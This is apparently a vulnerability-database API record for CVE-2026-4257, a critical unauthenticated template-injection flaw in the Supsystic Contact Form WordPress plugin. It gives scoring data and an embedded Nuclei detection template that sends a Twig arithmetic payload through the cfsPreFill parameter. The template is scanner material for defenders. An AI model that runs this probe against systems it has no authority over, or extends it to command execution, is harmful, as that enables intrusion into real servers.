{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-4257/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-4257/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-4257/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-4257/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-4257/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-4257/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-4257"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-4257"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.41475,
      "kev": false,
      "percentile": 0.98678
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-4257.yaml",
      "nuclei_template_severity": "critical",
      "nuclei_template_yaml": "id: CVE-2026-4257\n\ninfo:\n  name: WordPress Contact Form by Supsystic - Server-Side Template Injection\n  author: theamanrawat\n  severity: critical\n  description: |\n    Contact Form by Supsystic WordPress plugin <= 1.7.36 contains a server-side template injection caused by unsandboxed Twig_Loader_String and cfsPreFill functionality, letting unauthenticated attackers execute arbitrary code remotely via GET parameters.\n  impact: |\n    Unauthenticated attackers can execute arbitrary PHP functions and OS commands remotely, leading to full server compromise.\n  remediation: |\n    Update to the latest version beyond 1.7.36.\n  reference:\n    - https://patchstack.com/database/vulnerability/wordpress-contact-form-by-supsystic-plugin-1-7-36-unauthenticated-server-side-template-injection-via-prefill-functionality-vulnerability\n    - https://plugins.trac.wordpress.org/browser/contact-form-by-supsystic/tags/1.7.36/modules/forms/views/forms.php#L323\n    - https://plugins.trac.wordpress.org/changeset/3491826/contact-form-by-supsystic\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-4257\n    epss-score: 0.41475\n    epss-percentile: 0.98682\n    cwe-id: CWE-94\n  metadata:\n    max-request: 7\n    verified: true\n    vendor: supsystic\n    product: contact_form\n    framework: wordpress\n    shodan-query: http.component:\"WordPress\"\n  tags: cve,cve2026,wordpress,wp-plugin,contact-form-by-supsystic,ssti,rce,twig,unauth,vkev\n\nvariables:\n  num1: \"{{rand_int(40000, 44800)}}\"\n  num2: \"{{rand_int(40000, 44800)}}\"\n  result: \"{{to_number(num1)*to_number(num2)}}\"\n\nflow: |\n  http(1);\n  let found = [];\n  let seen = {};\n  for (let p of iterate(template[\"page-paths\"])) {\n    if (!seen[p]) {\n      seen[p] = true;\n      found.push(p);\n    }\n  }\n  let defaults = [\"/?page_id=2\", \"/?page_id=3\", \"/?page_id=4\", \"/?page_id=5\", \"/?page_id=6\"];\n  for (let d of defaults) {\n    if (!seen[d]) {\n      seen[d] = true;\n      found.push(d);\n    }\n  }\n  for (let page of found) {\n    let sep = page.includes(\"?\") ? \"&\" : \"?\";\n    set(\"pagepath\", page + sep);\n    if (http(2)) break;\n  }\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/\"\n\n    extractors:\n      - type: regex\n        name: page-paths\n        internal: true\n        group: 1\n        regex:\n          - 'href=\"(?:https?://[^/\"]+)?(/\\?page_id=\\d+)'\n          - 'href=\"(?:https?://[^/\"]+)?(/[a-z][a-z0-9-]+/)'\n        part: body\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}{{pagepath}}cfsPreFill=1&first_name=%7B%7B{{num1}}*{{num2}}%7D%7D\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'value=\"{{result}}\"'\n\n      - type: word\n        part: body\n        words:\n          - 'contact-form-by-supsystic'\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a00473045022100e6df6b91809f37e892ccaf19d5fea4dd7b7ce5be3e87da48badddaf1e2fa5a4b02203c23fd81e367816b5b9da8fc9bda20de641c85d89402225a1d4c1d34366a1ac9:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-4257"
}